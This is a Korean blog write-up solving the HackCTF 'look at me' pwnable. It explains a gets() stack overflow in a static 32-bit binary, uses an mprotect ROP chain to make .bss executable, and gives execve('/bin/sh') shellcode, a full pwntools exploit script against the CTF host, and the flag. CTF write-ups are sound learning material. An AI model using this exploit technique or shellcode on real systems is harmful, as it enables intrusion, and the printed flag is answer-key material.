[문제]

[풀이]

- 32bit 바이너리
- 카나리 없음
- NX bit 존재
- PIE 없음

- 정적 링킹되어 있어 모든 라이브러리 함수가 바이너리에 포함되어 있음
바이너리 실행

- 사용자로부터 입력을 받고 바이너리 종료 → 일정 값 이상 넘어가면 segmentation fault 발생
IDA 분석 - main 함수
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // ST1C_4@1
setvbuf(stdout, 0, 2, 0);
v3 = getegid();
setresgid(v3, v3, v3);
look_at_me();
return 0;
}
- look_at_me 함수 호출
IDA 분석 - look_at_me 함수
_BYTE *look_at_me()
{
char v1; // [esp+0h] [ebp-18h]@1
puts("Hellooooooooooooooooooooo");
return gets(&v1);
}
- gets 함수로 사용자의 입력 받아 return → BOF 취약점 발생
- flag를 획득할 수 있는 함수를 찾을 수 없음
- NX bit가 걸려 있어 ROP를 수행해야 할 것으로 보임
- 그러나 바이너리에 system 함수가 존재하지 않음
mprotect함수
💡 *int mprotect(void addr, size_t len, int prot);
- 메모리로 매핑된 영역의 보호 모드를 변경할 때 사용되는 함수
- 매핑된 메모리의 보호 모드는 mmap함수로 메모리 매핑을 수행할 때 초깃값을 설정한다.
- addr로 지정한 주소에 len크기만큼 매핑된 메모리의 보호 모드를 prot에 지정한 값으로 변경
- prot : PROT_READ, PROT_WRITE, PROT_EXEC, PROT_NONE(prot에 7을 주면 rwx가 모두 설정된다.)
- 주의 : addr의 값은 페이지 경계에 맞게 정렬되어야 한다. (page의 크기는 4096)
- mprotect [주소값] 부터 [주소값 + 길이-1]를 포함하는 메모리 페이지의 접근 권한을 수정하는 것
- 첫번째 인자인 원하는 주소에는 0x1000의 배수가 되어야 한다.
NX-bit가 걸려있어도 mprotect함수를 사용하면 고정된 주소 값에 삽입한 Shellcode를 실행시킬 수 있다.
- 32bit에서는 인자를 가젯 순서대로 삽입함!
문제 해결
💡gets 함수에서 bss 영역으로 연결
mprotect 함수로 bss 영역 권한을 7로 변경 후 shellcode 삽입
dummy(28) + gets_address + gadget(pr) + bss_address + mprotect_address + gadget(pppr) + bss_address(0x1000 단위로 맞춘) + size + 7(bss 영역에 실행 권한 부여) + bss_address(return)
shellcode
필요 값 찾기
bss 영역 주소 찾기

Gadget 찾기
💡 ROPgadget --binary ./lookatme |grep ret
- gets 함수(pr)

2. mprotect 함수(pppr)

Shellcode
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80
Python2
from pwn import *
p=remote("ctf.j0n9hyun.xyz", 3017)
e = ELF('./lookatme')
gets_gadget = 0x080681c0
mprotect_gadget = 0x080509d5
bss_address = 0x080eaf80
gets_address = e.symbols['gets']
mprotect_address = e.symbols['mprotect']
shellcode = "\\x31\\xc0\\x50\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x50\\x53\\x89\\xe1\\x31\\xd2\\xb0\\x0b\\xcd\\x80"
payload1 = "A"*28
payload1 += p32(gets_address)
payload1 += p32(gets_gadget)
payload1 += p32(bss_address)
payload1 += p32(mprotect_address)
payload1 += p32(mprotect_gadget)
payload1 += p32(bss_address - 0xf80)
payload1 += p32(0x100)
payload1 += p32(7)
payload1 += p32(bss_address)
p.recvuntil("Hellooooooooooooooooooooo\\n")
p.sendline(payload1)
p.sendline(shellcode)
p.interactive()

참고: https://jiravvit.tistory.com/entry/HackCTF-Pwnable-look-at-me-풀이-32bit-syscall
flag
🍒 HackCTF{Did_you_understand_the_static_linking_method?}
'Wargame > HackCTF' 카테고리의 다른 글
[HackCTF] 1996 (0) | 2022.10.30 |
---|---|
[HackCTF] Random key (0) | 2022.10.30 |
[HackCTF] RTL_Core (0) | 2022.10.30 |
[HackCTF] Beginner_Heap (0) | 2022.10.30 |
[HackCTF] Gift (0) | 2022.10.30 |